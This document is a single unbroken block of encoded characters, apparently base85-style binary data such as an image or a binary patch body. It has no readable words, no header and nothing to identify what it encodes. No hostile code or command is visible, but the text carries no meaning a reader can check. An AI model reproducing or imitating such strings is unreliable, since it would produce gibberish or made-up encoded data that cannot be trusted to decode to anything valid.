zSadiXvI>y@>32RfcHxUJAAumlBFT&;Pg4O0cFMk%(!ZY{5<2*$NS;vyO~d?6mS3;Sy`Hn7+nFPw?MUyMU}reD1ygSX^}^c z4x|z(DO5~_%vObx=~Hq~7)u?4F8KgEEwTmU|7FB;z9zW<`!(lD$(rJr$;*)Y^>;MM z`0%KB0KZKz-mLj;9Z3nK`fgq34+!J{8w@}G81HQl00)sB{owBhJ@7g20hYiA?N{9c znh@$G>Dx^P)C?%f1stQvB&#HVMy{$N(4LJ$1on~?oR{$+q_q^LHXDmo5)K>vyRe`@ z>S}9Dz-*c%KE9&*!L&K9CS0bG0GH0DzxgsZU38TNXkiv6929&Fidc)k-nX)pU_iq7 zn+94?84iLCmP%OJ(sN-ySS2Bmgj^`W&DWX;=^dVct(wFn4yrN7VdI;rdn1p?*{JF z2hw9S$FNgy48;Xh_2L6&OM zU>>x}PVelxzbJddc#0J=4p3!!6eia3NT`tlj9~aiK`uqE7M2u~u$oTr5rYX?t3fXf zORU03oSs>X+(?oG4Jf^gzrNl4#hQ^Uc z;~`^LpEl@b&D zH>oh&YCA2i3j`qa-tc{v+W7*;Y^lBl+4qkGzJ|MX#hT<9vW^cmPCqAo<2Y zaIUbd(lD%*!-QcRLi||QkHxuJ${rHn&tlEg=fSgx-gISIl}Vfx11HqejBEp<)YVpdTxWo9g(Mpo3l<0}Vow{nPjRSC zx`A>08P1Q$W3RwovzkiP1)MNpbC3JcDnB-RaPH~6)A^_15UoNKeeN+YF}x>7TxJWc z4#9)v-n4oLNgp-kl9iJuMfq8VNl=5;x{d&IVuQU8d9ae1CwU8g*>`AoiV@lw1G?0E;TC zq@;w>oajDD1Oy!DUUsc$f~-UQN?u7dfS_sF>xmJk%WKyEnK1SVmBa)BVdUv!UOQli z$W!L?9X73!l9gYI9^{mos#5wY-vq=`sRWUTV^J#{#3T}^Bk3*=XLvQ>GG)c{F7?0w z0$>9NJFb@*zRiEpfBqRrETA?`58Oo}w0JNmS3T){N zi3qxQGEjWJB*r0uYAO=t71v1RbR1RHY=+S`TB%qC$@KRE@|gydSWGoNwO0Zs-1e)= zgE)X3fI0F>Zo(0*dR6wCUS;#~Onm8Fn-JXCCn>NAx#rqs8kWT|WPg|nynaq~H`}pY z3MB{IwgTNJA5eBW(I*G;OLZxK47v(QIE9t_C^hSrYIhsDHS4^afZ$4?=k!(400TwF}5ti;d$Rn*d4BkMPyc>e^f5x+|Me(MopL6s$%4Gx^V)l?qkLk zGSH80rr^_5*4=Duv#JWft5cNf9`l$@&u=xo7S>_b0cA+CV{2x?q#m+_2X?&YYg{4> zXH>n)&8w8Wd<7q7n)MGdar^X{+C}8@{kR7+{^33S(>wnjjq3m)Nn` zR}TDHNf_zMXtlGZlQ@~cZM>8zAp`!gJ&fHXo<}b8(uuxpV{RJd5C$%kENnc>YoiG+ zD~s5NyeilrQqF31v&2*q1RP05&Sp_zFefwF*k%sSr-2cbvpRe-b#8L(Jv9rkbHN%4 zE9+KrHWmT2Qmo8S3J2X?%gD-=bP~ra@DWrOXByW3MD!<{ADs@Fn34uisCAxS<#c0NQhcOH}#V+wVP(6DvAwxs`97|pjlBd6~1!P@QqQi5`ehsWcpz7 zBpKQ0Kt?pwO<_Zilc-F>1U9frywG_&GdV4zT?7}i6$%tm{Y)9(NQjC@W~QbnPn^mI z?mB6KWTY7Uh)m}Y1g?&{6zt>lbnAMOu<3MNGaC|HHTQU&Yr3Cqzq%G-PvHbw7k^yD zx;;hJ&p6ijKnvJY{^cC}3=>9Y3iO>;k5PMSX(3)_u@4aA$ldMS7i;>N=rN>wFmJ2EAkagw6GV&)p^maO2H^`&Hz6mOS32O1=Y zSVc@PEVHm=PZ*z!bx=Lm6hs|~jv@3OfGU0kl3Pzb?6lkY144;d2Z_`whs)}ipHyo=FT3s=oN?;|dgUM1}1e+oW{b`!qfG=DVH1%FBUw9ri zc)56wOhNWA#^w?w*ws9z5Y;ev_$}Y*e5cYdiA`fOtTiM{cy)Y+w3s-m<)FhRC#Onj zNu89GlIVhskb&Nmz%?`NjgA@PPm#>rQU**4Y}ga%nArDyBgXftTD11U&YR_TUt02# z=!*_aB66tTU1Kb_*St*;V~|_V%x^5Tjdoh;#IeQ^hr+YPl^2I2=BB^=FkZz6#M9 z3eXu+Lv#k!WnzqPzkpa@D&zwso1-@lLbfr-aW!rdYN^cwN|*pVK3x(o^N@(?+)?tX zFLomVALOc5MV*=$50@dT3&B`ww?n|ggj7JwPH$HU)O1UN!9H}%W@u$XVsffsg^pPV z4l-S~%o;ULRdZPT7dEU>R*$DTAv|;DN;$Ec@=BE-X@Ct9Ew+1fE+3UsSJ4?%E|%0B zq}ure2~q>-3`^2K7OMZM+_daL7sAMu_z;LqwZiTX3nYn!DoT)KFQ)4DuZEOe#V%1O-0x=Q>w5GQ6ZACr)$af~lJ58g+t3dNH+a2`6e4IeCt zy6E`*<5O&*eWQtMW9WS;rb2ik6BVog_rv+Lx+EY97gd{G9ugEox zCKM5CPJ?VDfpHh7&xUKzcxxOwMw$~pI6A~??6_2yXf-z~adO`Q|CF(3CwMNznU}C< z)dRh8#02{0!RzKdpfR0z$Uh)hge|qY}hS=%q<6NQQ%knh-6SCAX!6b=WRjoJJbj4Z$ zWHlp$fDJb4g*snVFQiH=dSN=gjIx3pDsr+`np_YIxML$WtX2E`%!k^BS}J3)E}|2v zZaB*+qHsP1FX2nd4MczbG+B93l3GS5R1&ys+|y}#C@R@M|~c|uhIF^ zAbiNou*onL$3vC3MV`Gf!!IO;u2+#A#{7byYI<@KhI*3i74f}EQ=3TR6&?c1E6%N@ zz9vM^k! z*25Z@86U_=i#~Ex_gVzNsavQX7Oi{c8OxL8N6i-}uFHgIM>WJA$EaAX29L+Kj4iG-?WXKos{$}soGbGAD{p`7Tu4^Mp{K% z?OC!gk&RUIBQJ4y`l) z$pLQEa)Ib_Sjnb|FvYT`0s{u6&uZGI1al}qT>sorS!o*-dou_+k~g$1!3fuK>Lw+m z#$@6<2P7dqfumRptl1&tzZlB#YRjZNxHE@^aqSe2SrR&y3dPquB{5et%xyIV1(ffl zTsFzARplk(WYG*+*Ue7qG|^@qN*7x-K$fHhX6X07e?i*UOY!Mm+B7PdM?&o$`GY_C z=Qv(dWq&aSIrpnhX+2Kh&NFc0sToqSufd?mPk#UZmY$Xtc^~%Z;SfW7$$JNu-&O*; z4!PC`;{}1%he2yXPTe zjQ(GL{vYKo4B#%l3n9Ce<~t+OKY3FUe|wKSRGndz?obK62(o#g?VOB}jIM07>kaUd zJ>^l!CXn>s{@HgVANHSYoaUO`uE_z`^RW!uEF9LEh2>HLK+UL$@ybvdRS-d(gJg5Z63;1gBnFPI_o=;wPC;TMele2*68QF4^{ULbtFzry z*%*{_10>E*Tgjk-^Q*(*NPU5+aG>u4O@Sb}m3t+D*40y~_zu@_aw5`4M?+W#5{%*UFTa$_ycMPsdjx0ruFW()GEg^DcPD z(dM2tFVwMc^8=U}sBo}|10mP|r6wJdJNX3ckBv_45 z2Kg1hMmU>EVp~@;&D!!{jS5?%=V%=i?sJ;*wui{tBL`ZT0oOt*- zIrxZHK)EYFdFLYACG%bAe=fi}Z~W{U`iE1VI`FK-ClZ`yhsb^l{msVr1o>eGeeAhc zjNt0cPUgg z_?mp!W{cTM%g z|MJxa%Gwj4WS!M@Vtrg0ok5IkR#SgW4jgQi-*L6d4_^OB{xe&!aV`E%N?NB#H>_=$ zJli6UA55AE?s>0wX@&b?Zhcx_eYS?J7JY?^GmLlb9lb8o7z4Uq6qMG>BJ-!Z`fn(W zJR*Pbcd#LP1DZNEmVbbtg;$11ibxn)6g%a~vk4kTHd8vd@k8lu9gt?`paKp;*D=*q z^Y?$l%)vkXgU3kBhEmH$UHZd(!E2IZt)JTx}|c zvhWkt?0r<`VW2%!R{+CskC8*O1jDRGFQSk6NQjyuc`pV1(U-;iimrUG{brLFs@>UB zjuMorlK<{seVcVI$;f_vr21^v&&PGCZ1hptVgJGXGU*zYKmUurmpje9#zqgFw>`Hy zq`&!ulqNhQk33RrY#z0OVz2=c({oL56P^p2mTAZ4B(b2Tlqz_PryG3`P^>K{O72o# zR*WBs!k*Ful|T#FQ@Qw*wYpQF1?(vwzR9ec zbM!+i7Png6xIbsQP2g}U`vBF0UL(<+0RN`;RN#ob61bmt6UcQBN*Bpd* z*uzi1DqsK3ZyT2RGRBF@PW1t5Q%T@J&L$>1jm}V5SuNhNVX=?@k49&BZy46TwF#>X zvUfYH%&9-8|LOCxLl~4mkQV;P5kCxe zwfpKwBp8;T{Q1A*dAQ^>KA8Zxe1&thpSvU@X+6^SNSUOgS1K7qy7g$oFYF$F#n|yv z6+RE>G++MpfB#hyOp_%O^n(K#VC>kC-{<9`Umkv14jygB|9@A0`Y!q|TV!*Odga8A zFA-bGlvf_hf%pbuCw4No7`gN3>TgSj8y_2#6F+N_5m;uz0c6At1Uo-HPyX>A{|ReA zmel7bOFAG(OESq9n z!=}B{W>3nJ^s1MnzOF?64ErBXH5 z7;%&TM_O;So4ASE+<`W9_pXezVN;~NCJ!C0fl-%Qq=?I3_1Ye|o=^X(3kLQ!cHoUO zr=$~x(-pv>>y4z!*pyll(+XhLXHM+mUL9GrRBS&=@>pKjm^J#OwU9&|vnz{B(t7!< z4C)%iJXOmrxJFr5Sb5+HIrz*stX-(%f&%Afq>L&V(^vCjY#b1?xs z%CFhPG)+QNJE}~picF8n-@S81e)JA8`1RJyyMCCBr)Ai?Ok$*iif8COR5|o50dAZf zl}oog+y|AOLLQJ-qkQ<~?@3wBUU}sq5*jlTO}yFY4_t@#OI)0j1UCrjoRBucNbebG zlM=woE!{5pPw$e{OhTnL9it=H?~060if56k5&YXM55WB3!GBSD0DB2e^7w>o`Q3l| zUr7TAh3YF*pP@bzGcNGySpN2E{OzyFaC?&!{q_GUJtV!J=!Cc+)L1uXVC}P&o21Ww z_GkYRa*9l;Ag-IDzBJZJBX<01?O`6|R>(v6WcFWshpLzF$f;{%a;j0Ix`9S5M&{tE zFB4xO@No4}S&w{2yYQC!0<0DUibv)Fsw@ zm)PlxRM@C5xBOOr9^$w11J<5Fm-TyyX-z#YZfrCa1>q*OCZ^Ec}rfWjJx zIV~}^0lsQUo_jPOF}dlHP6)|>-SK{e{VnNi&A}LZw(J3fb%5$vsXO++-Q(n+>DT%^ zs8)*arLGF_*mA7&-J#O2C)mN`9&)z2y^;xdvNmgN{S3P%-FJz#bV53>-;{9(DVCA% zo3&N+?9Ra{SxTCey#VjB$bZ_bEkf8j)YLBHRK8HcxIl|1UQl>1eCC~%UvPf()`f}GEPP0f%fQq>&!2ar+)X3AzR9pSC1CqXH`khkVX?|92pE+*)(^I^U)HzjmIP&7} zLpswSuW)Te3KYS>3g)V5cj>x9+_<<-YWF{hpQ=ZWUif?B(j)R8-@JwH5Lm3NKAW4L zkyD@akgGN)xzChHTCP>E#7-_oS$&mc=h);9c@fgqwSG5aRBv5IPqkHM%IZ@^C@j&X znUDT<4YY|1*{JWgY9kOT&tB<~`Wyfq2hpY3IogO`LO&cQw&otAN*D3?K(nzBrIjDV z|E^@%AxawSm z02ETmV*I+*d-F|2w159^|AXAV*%tHxti`;>COy(b#qMN)(*Hku?-?9hn%?(4=nSA6 z8I2rnj+5`)2|Kfa!_C1_qk=c97vC3A((=Au0pVdfZN^aIos8PRHIA> z+Z8|Cf&Z!Cgnp2_mF3{(%{5yl_1MJNge5_`4x%q_SKt2r-b4MJ9RbY=^o|@z9zMG# z$G${UD@K`iqK;FfxfOzBX^}I0vOR4{P;e3iZHSf8A!cVaM@pw`#O82%PvW$ybc$vC zRiQFZe3QZ3JM+E{QJ)YUbd(hS6ceLE5tTZ2F3R9A10xH{ZiZ+{LeCe72&f&Lg5yh66Fe&-f2ZD|eqR(}h zm6aya$77t5FkSXWs%~@Py=y{E1UxiaUl&L{{Y2RdsR~B5w9rRlKGZH8t(!m!Xm6cG z0Ti|=>X-;39QY{lu{Im*>#$Z3G+G*z#bL96;hb-Am=Of*zXRd&V zS1^z$!-3L?>L?cwOWRrfUvj{hBcgV0VvML@qM!*BDT+v-Jc1%Wa70cNAf4iX)B+-m zQnKPJT3R%Zm?!!=LZ*mB6o-H`it*#U76)zpS^#lL28nD2goI4gWj~NHN%rxI#;o+I z5BOgwT0n!yf=oJwz;_$ZGGBG-H@qbcLTdUL$fP~i2I@ppGDhE(&tI=+6lJStwWcNH7fT4^daY0kW1jW65p);0cf=)1B-PGlu*1kb&OC_v{bdSDr z*;i_KwK8WkZ+NdQ$PnMr7yRaE5jT`iyI{-i?m2x9QjkbrEeh#k;iU+Yfb4=~0YU>v zdRmh%@UAXtQIy2>IEE9B-UKp*2U3bP`MkdOZ)g*TDvAtmaB>Q`+j6)~p?+h~zS% z*7-4Mnh&iwXT@u~KsiV{)VupP&c*IjU|?njG}5^#TLMC;pwnk?(6EHZfG9}T2T;4TQH`h&$B6HddRg4sL>10FM=)y%E<}{rTJDa*n!yH%k>egTl|OC z)s|~d>n^bNG#;9zI~SDLtd*v&LnwSwb}CYI!f^;JsY4*>bP+fO${VyrJK|P#DqW;j zx)dG}8~_!7(AS6HK4o?_i0;J1UV%5&v3Xw9A5KMYLI=Qh9Jbjt_Fn92SqSd=Gy>vZuRV6IMM?RAcEmpJI3%VO=y$`p7RIK!@^BZV2YbcE~GuJGWmU1@3|4*u=)si?GbduRXsj#(|#^I}q@{z|^I64zaSw6K)Fm#_Ry%xE0 z8v$eEP2EF8H=DbA*rVEU;P1exo8WLDRM1V97Wzd&ka6f>5?-LQx5q*t)zyY?D)iKo z-P|3L0u^`wuS8cn`c=gX3aKxi>IRYKko93mYC^_H*1FYv9 z>%0jsOHezR(R`WHzy87a)Hnx^J+z8_a3wbfYV4$40!?~oc#5FB!XCL%o%k~NPsU9$ znC~#Z@$mZ=FO=yNf`Q35z*Jy&k4RY7*OSh5x=iD6eALXIs zg0R&@@Z!-fvKk;G!l%>=fyuwf|18j1WyMsM%0~DUArB9bB}R01jCAC|Y!*J9U6>2G z%t*RN88*FDr}#(FAkm^Wob3BSU{)4K1wxdR0!@@-PaQNd-Q7!e6p-v#528O> z5B|FM>(n06nQpfpbVUyRb2Fjk9pPPBeR&*oTiWRx42|i!kj+q;=#WQpw9;8KEI1w2 zuY0ZTC_$RdfN&hPBggx2Qc61XX8BT=_LcXSXe02`F4K*^Il=yzXaB#5oIV$j(}fDV zwmQt(pCjOEg*}1{C&(7A7Ibqe1%G$W3NkPom}JtzP`hjNj|(W^%P@P-?)tio+wSQ} zxjcm`!cpCFd8!#F%+j^y$y4HOg)A48r<5K&zqaHuMVS$HlczRbQY4>4E6$_8 z-Y-h0UK4I|*_qOy9)}0U;KU=$T zYR4EX6yFbS@#doDsODs_$jK%%yJ(B>Q$isu?zWthX=rT)MC5U@L?S220IuKtl57S+ zoot?+y`UO`-q+kf08TkgaTohM97vqWMyAFJPJD;q9net@-+<>vXUcWj|5rhh&n`!8 z5?%2KSzN;ei#BppUi5+rkT1yHmz=n3F=Q^=Cl^1JRq_xT?`^V0kb*=68iX5k@%aZVAON;?4yX=guF zR)ba$gOlh1#fO&{Ul*>-eX*E=HT&$?Lnp0nV$t3lzX7VGm&G|aPs-~k{wLkAuLVk<8>R*Vo#74Gqcjwy@4MZbc>HgDT{{69eU3M8B``CIU?thA zq>kdIwOwWV{(Cu}E=-Nu3cyNpbF-F#_RB8k70oX)w1KvH?BswQK1$%6cm_B3%lfL& za}juQaX}%_Ikoj1IX>X#*D#qh<}*)4|VcdeEqIj7&h|D^a;h-9dEqP5xnhc?Xr~5(nRyMjy<}7;@`_md( zX@}UOuHrDhh%gzXJqgfG6Ai66?2`qsr^O+c*KMVzqXoYHFpO?Egx)Ys#z7be8)$vU zlA!mFEv!PHRQo#e7uk6Tm|Iy**=%nd_ro@~w|M)DxMZ?*p_3USxPJole`S2%a4rtY zgGX^V+d&@m+vLfE1hL{g8_wgvh93SnHc06+rPuV3^a0*MnLRzSU~w|4tn#H=B1*Lm zQ$061Wb=U5%wyxqK*#i(Hz8r97_oM;6dgX0i>C~o%#&J%*ZJ9@#(d&Xv&-~xK2kZLasPSBw_Lej@Spp}L z03#~1L3t4`ts;OP&A$}cpleyX1A`Ox&}oo*`OT|U*VT~mj4XD_JWB)Io%%|58+^0V?bXZ19h{_^pA4$@Wx3@xVh`^b?6*v0 z(n43|Hto%N|A9h_Z|fZ-FqQoq;6};C&Td|q7w)=(o+yIMCi>q*W`(Z4K5M#^WtNP) z8pXeQ+_Usoq7OXDpMd^A%Z~$lODq8>(%~bvNCvNB@h&8aZFUN7|^h6)Zb(cc0Us)Ogg?!c~NPQ;xKFAj)Sa<23 zW7xfUU-&|0E)?wysxJNZh0(=G2u`36v^=sP{Ug3`=Hj^Bz{aWm3CeQ*eRuM?A%Ap} zsUACNvuyGulc7*MbHafFqJOL>JIe}uT>l_;!Z?oL06*pYAPYJu2W?!A(=YU$+8ZDd zchFRCY<)i~Rg`BgIeR*E%co=h1LXhX?0x(uy0)91K=e2Q&}4kI#@f(JbfVv#W)gUI zQBMn*!Ix_c^z(Fry|$u&1A+@DM%|&l@M@tycvdtCz+h7+_Ab!GVS+@{_fPRg)MfU< z$+($-wn$WJ@@bIiYa6g_ z<^V+Hr_Eia9wzfmj*N?dmd?R5mhx9M@TRryD79%9pL6%mLgD;tmjMpxRjA>4IS_>eRgwX z$)*WL43-$StQZ*+n>&#Sds?k8jhz~s%GN#-dI#1Twj;^8U4zG1Zv=2&c>{l+8G@`B zd5=j5K4SZG+O77jkbzSfWrpCjR^T1{DzrZ8TgaM=&Z)nLj9S^zh~h zjqZq`x2Y-1;F}us9~EtDLSNj750mJ%&kuTiD6bnGr4`2TOH8!NR@j6Mjlf*|^fvE~ z-aXDQkp_jBC(3Gb^!PD&(WvuxlHZfh0`#LBYC%8mWxMox;^5zd9ysWM{m}!P>Dc~g z_r7lB0;!kYc;hV_!BKtvT3 z)77?Dq?o}=3AgZ4B2Ir=x^|QDJuuMDb6}S_m93zO4DY0n0Cf15-92s z-fHcsFMf%1V3T(J-G5<8(4cNo|E)k9E?pkCslR<2qk4;d^b86*`n58m0aH@@4_C9QbnY?}OSj?`BW$i1M0|*BwfP@m?fC2oIA36nU6#{D^ zIyTVcl2b*hTddhmpE+ca&-Nj#l1lXJw{c4LdND8OS5h?P5?L4=p9L+cV$XkMVBFsP z&tJET*T+FvLh(sWK7(c`#u`8o{GI>qAK*lRQMDs(jYORnowl}qYz@)HQh@Xv3)?UK z<4@UZ7p~b4fB$O)r4)oO96{F>FW`(%L@Po%nZ9s>+R)K$UFkmjR_kK^=0#Ek->^4v zDtMiDD5rMko_p9n@$v`h|#icb%pq7ygW3(je2c<~q zw?eSY@&u^q{&duP002M$Nkly4`-`D|X@PEqj|9)HH9-d8i_twC^{5 z{!tfDl48!?j}pcatMk+|7H=K4bG_fRvFM^htrL2kN)+MnnNL4r-G@%uL&w`Ins?rv zclY1r1=8EU1@bRQ0E>)^sFkCIq?!&VKZ4Nd*VuCh0{m+NEey2bO=RJHchAt+`^!TQuM z{g=+!;}P~q&tSz*^igetXifqpu7_B@>$|g;hGGO_b=liqv2Y-9p?b-fyvqN(Pt=zWBQ>|`4)l%M0#pvIo&j@Jo zosaz@3X?W_?(s8r8pMwx5?=7i;JK&_&V^*ZdFBg0XSJ_hwB$FgVk{-FmtPnG{vqx6 zYKYX{3k1ca?05s~zOacO>`|5OQNcd1{Cpip!^P93#Wui%c1ZV0l`?a5Yf>gNd^U(21 zwyiqWPF-WKef-0#b~X*_&-E$$-~Qw$I9_}8ujSZZNB-L8LB_s5@o9pWNO9U814VYX z)miL`qfb0$kA3`??cC8u8w7PuWoy1wztzE~wA&M(`mA+<#PWZ?{6~-vFJ-j5k$)nf z-ktyK3)Xe`tgCYXhxXlCBP0H)r$1q>I1qIF(HqD_IQ&wVTo-C;pszIwmV$r4StYOh zuT_+IL$`IG`)!n-o%W%V-6)=S4jvS0bkCXd*4#(7s6T!cW&DT@@yOx8GaGuJu(so$ zup@_>?3t4U!Bgi>b5a4YZHFJT6hY?a`~Jq7r$hE#&}hesA}(|X#XC_p*eA=1)X6v$ z_t)8%|H(fg_)xu5EMXiK)BOWDcai-}mi!7zjNmaD4NmvGW}gCed6+=(Z`{V%S0Me` z6$Ew|06eUqR{xSNP7d1>kDRk#{mmz_tpOI`|Fpwr6!~?KtRAV(VLKiF&o+wb_9E9~ zFL6cAkdp)=#>nb1*dUHOXe5y-W!`3xsbBh=pOCd|ft0?5m(kq?S+j}ESpV=#PXY*m zK{=pk*CpGP=AJVI2A;H!twgQ6X4I}?jQYdx+{Tf?-&?o4^Zoi>b3puRb?d}$?K&uQ z3uABE=kfFk&0T^(FPYpT1^{ut>k1Ox#!D_ ztku?YH?J?3r#ya?CzQ!kUFbbZzzhrWl=g>#wif$PP@c+5D$Cg{f%QLl>z19EZ>vn6 zLeHVh5ef#7ED|iC7@19Kk6SZ94uhb%ZFWHmUafPDJVAs6*?r`<|7*(<$a{8Z$?fHl z$SOP?R6N;(j-}qZTPxWm%In|%e=n28^y*tfwwzwFnNaNXpGeW(6;@5xEM&aSU`|7{42uRSx zsG})oPa~Vq>gqIT>k{zkOl}y4o zvweaLiVtgRNE%QsgeA99?3Pquw5R?gcyf#7TSW)ptP={C%4Q zxz)3KRMLLJ?N>5(>Brv%#qv!M<0s2*^0J>j{mgm$(rV-=&9gXxEkFO+^JGdr z0)jnG{S`bQR@ZEu$3B7{A#K0@k(cdVGRp>ex-0=LZ~dol*#zS;@~IOjB?ydy*i|Na zc>Hf)&msG7zWg&dF5)z(3`?|Yr#`Eo+57Sm?YCE6{h`g=zGy?&MoWPN2wDY$+Io7A z+n0a$a~{vY-o7i(KyQWtU8zMk|ApWFg3XNIw)g(UpV;Wz*8+VsM}N=T&Cy}|-fQDz zo5u0waoN1~=O|1MUBG$%CD2#L?JF0TZD9%L_J9Zy#va#xhzwcq)ODN(rK3QnY;)?( z*=Npw$bOYMn_wfUXwG7vTA90K8R*-$Umvws$rw6YwnwFpowNQYK55TCIcT3g*R?C( z>o+i(AWPMg|G>HlR{7#o%isM8EXq}Tr~?G)4<9DXji5F6 zt7L^mn;9Ll@BPWkb{(C}YCtEmArBJZ^;^H}$%8^`twefGH1-fc(PbYxH)I{_7o9#+ zdQBfme;E*!Tdxe+S{Gmt=oTfZiYDctUGM(*TR1+F(FvMXq+_BChdCPUsmGtNU-|Mg z&JJ1$9a8{v`tY+jfsNZQfB3r&?f2h&GZqf+KZ`jW`u} z(I^hgb`6)*{w*9N|EVWJKHBebIcxl^k-aP(TZDc zo=hsfqc=@J7z^CvRro|-B%P6L`qFFMau1T6n8xY10f)wR7X+RJ5xbI7*GQ&=XMWSV zq2ZmUC$Wv8LvqXqj>A!cad=iQG+Dgs{-gwz^uoQlMgjWgKlf=HJpPcKIoe^p4gNT8 z^*rs**hbs??Wxay(PGH$;g|nEErgPbYw?%)2$@yI`y53#+E7cKC0A_zBi(t#p^Ox3Adbf8wn|G`)6#yfva9tAVGb>Ge6%OB@YrCsKQ zUF8pC{cv5ErJw_-=FSxdBozS>=5 zwt^4Xl~;b?`bg(~5!hDqiN_q;eY%+-6bRXF>&3tK!TCfl6kfNU!zZw5WAA+ZCnWLJ z3igUn;d7wEKinZ2(&m3%`~*y4JvT$Pr#XB3%@v!OUoC+56fX&$t*x%v)i(gL9Zh!i&SMh`?7akx9?>dOk5F*v zS4Of$00qDM?wq~$Isg%6>!bP5IqNw42|L->WM6o)-`PL54mR+r^z}djntAk-zhX;s zWCOqWPpyXlfURA9?LuL_ zZ!!WEE97jMz}4)`kLZJTo60@nGEi>CqGdA~vUR+}(wZyyD01yEKKd;UQ==z)VC*k3(RA$PRDUg|+_trTi=b91%;aTf}sqG1~` zi0jxbGPeBP;-oxmXlNwpz+)-o%r-v{GB;7b)fxcH>wd8R291H#xhuJh-6qgrd@@TK z^dhsTh|;#!l(oR@HLyW$wLR6KRS4n09Y;}>Zt^1ZCShhgzjKU?7}AHw7EwMd+G-DK zsa+iA??r!UeykGJp2G;Zf_F)f&+?Ik6SYLMBY3wr*TL8-GQ5(Os7Hu=#t|=3zXq~s zvn@|G+Z?Dpw+h0XYRNH2=SRmZ(^P}wiih}7iT+jnpTwZq1cTCmBB~yyx4@q6&^RK; zox?V%go(%T%I(S&hv(3(8jOBC?$BR^TEpw@P&70A*|)=G@B2^m9W-tQMSF&|n4!KEQHbvlFMt7SdW& z@<$SbAj5zvL12a2v(cvQt8~8zsV3doYR#=U`__>GqKbYBu^-6cpia(r7_ma=c19HI z;)WGIl=%(0a)-Ce7vA<@kE&vi+GPN@_*uL$laslK!qbg{f06pXmg($e)sQpJ{X>}X z+pxnY3R=Ut&mr3_tdMDd)(1#L1Ui@ou~lgQjUcLvkE?wBh|4B$rx7%bTXVSkH3x70GPDe6dNH;RF>zJehN zq$h3qyLn>;o*9Q0c7wvxPFA#-_M~0!g}($YgK_IE!QZ=E5FG&_ZKNGZ_H#1*Zz{D$)F; zvMcae!SH!E!58adr9H0==MB)ol6$pB%+r<_fwrQB)s$MC=W21vXa)(V5&pOm z%SNU(SjoIp)!M^!G&F?-n#3qA%eFF=a6Y^Fm4 zq~BIC@Gi_v;1ry(%NH-%D1o0d3(81Tn%zJshiyF|6SeiS_j(y3Dk3*L-DM$&cfsGL z$v}`q$06sFN`eizxj<)^a9W;%Pf^yiV2LB!b@qdj2%nMy3BD>iD|A3gT>}PO=xj@B z%o&9={d8!4iOwpU>Ev7%y#w+&G^u3K=(=r+Xl5Jqr@6b`n#ty{I}M^D8RwC6qOlB_ z!fI@h^$;q0DbbfWN3@X{2Bg(G__B)XWY&ugMbM83884xM3lI%0BO!a1JHW9L?wFDfHJX5ziy?kmZu~y=}#1 zKNPh#+`sF}D7*Qd{HZyNvHT9@DaRu~cRNbtDQ|t`Kvo>TK89lgG_^u`O31i*9r3NQ@3)*`&@il1JQ zCstAf4%C$HCitB!j35g(q8Agdv(xlGbvbJ_8`eIQz+yJM1Q^@|Q`&E~~xBd<mX~0WZ7L=RQC$ryoyAX zsTlBy#z{~x$)bwi&Ljxv)$nc0Aj4+e9n9OBR^R-q5m^J~dw z;K^(_6G?x_cdB)_IV+uwvM8++s6~l9X`i+IzZf1>H$JGKBgEhfF=y^^t5afXYZN z_j32=bF&21<&DqIyAWL&+QN^N`AYmhOP10v0*cm#o?Z;4@=-!>?rFe*Nj7*&% z>bBDc0TtAsMdWlm$J@|2Ic}XTLqmceY>)p)YXq$ zJ@Zp@(BtL2I>Tf_=xApjZujJ3Z@rW}eA6GQQ+lGPbou;RoYOi}wh^-Avi9RzXL;E| z{3XYnRaPeO2aZ4w%TFGw@`#>)9ZujP?g5*Z5}C3?8QzNB3zBhJj6g3#|q5rrb7 zNeZw;d`*OST{&roCNc&|0-2IzBrWlgV%g`BMe^(LqR=bZ=rN7&gF+)~(04eyX0t7z zZ;sEfHzCvcB?E}n*tJoc>rXm5r%~EkZ^j%(#!*(yiLngFB78%UGAp}tJDJZr$bzE` z92L(~zabCGC+|^wZpNnJIc8Zr zuvO^oB@+mw4&CwmE%vrm_J1H}5v+3y1o_2B8IqhW^AN=$d76tthajUUqhJpG#0>i7 z`3+u1`uG&{v;`jzKz(ZOpZ!U)bOSzDl5vF6-+(^7Vi^Y-7e+Qr5D+E(VTO*Z@d&Sb zVetmyS#&ttTcH~?0`iX#PbWT;gu;P+StB9;#*_`f({*(KCV}&Mr4Id~uMzA#arvmB zk6)hau*4+ zRDNv?+e8!BuaQx}yQlcR%=&fo7|grL8T89D%x%`Y_?1X9?d(47*zKbjs)xrG9QcB= zZ|C#OXXd}`jfn)~Qu3ba5&Wpo=_^~u47!~n4Z-$-UtTl7fh`1H3gC33aGQLcWKWb1 zFj!Wg)r$m!Wsj<*&P6ghS`mlvEO= zdbIQURLLUr-yRyWbO&jms zi^DIAqabli{KzJw$837(BRIg2wwdnSZMzTQ7<}|eq8ksN!I`MRA&K~PZvUxTrPOb* zfip*JzIMz)ufGc)Ody!QSTFpICd>1>^Ku`qqrX2;*gz$s&F zvD9@uWU0aDZScrxkO4dfx0?QS&O&{UkQk$%{{5y!Q#b9W2%(b!4Nnf{I)l?qZe0tm z=ok!Qa_@-Du|fdLl*k(#(i0aEx<4L2E?Pg+$(cq#at)O`2Q`C0n*qlJSyL&<_)3 zKZVfiQYNCD3@48gRE1MeJpoGy(p8a2YF%3#wbl6>_Wf7hwg2lcuQ{~EU=y0zw?F!8 zzhp;yTdkLX1MG!WKO}EEVmM4;c=+Of^*=g(LQXbx9|cE!DQVPa2#Gr(Dp&W+ zYOdC}EZXekxc%Vk7Yj(j#f>_OLgw^`*(Y!|km1Uk<>mFGoWyEy?1^L6JrK4l-@0mc z{mRBgBk$g{@hjiAn#cQX=I2hMLqO@muOEapvGJ069}FXj1`oZX)~5r73*=0uQuRBd zWC}%Uoe`=~mHSvlsdW7Ma%v$xWfmkj(v@GFhb{(h#vIB3%ti>ooRNzwZBxkJ|8 z(dm@keti{vlHxI3j}rwB8c%hE?K+B@iBW=^%Eq9)u7f?w>ydl4N7bnR#TycIP&)6$ zr-Qfw;#nJM=G#F_Wg0#(CBH^CtyShVM%|mFo}BiKGUOe>D?$!=_@^}-- zOS|8pE5uLLHsk2C6t*7DH59iv7TG29AT5W&ZFaJ^&Ca?yOGi@oZ&^^T)}W{jaS&SK z5YxRoc|)>}XZXk6bFBTG{jSsbW<}B8RrQ1#2rf(v#YHdhDjX@x!lR@R+y%@V9S*8ivuH{#3sQ=UbGFZqNM} z&)A`pkJx|!Ao#s(DsO&B;TxBQpyQ*^vlctr)rc`2NBQ!}x6R!?ot;L;zYd>5Vyu$V 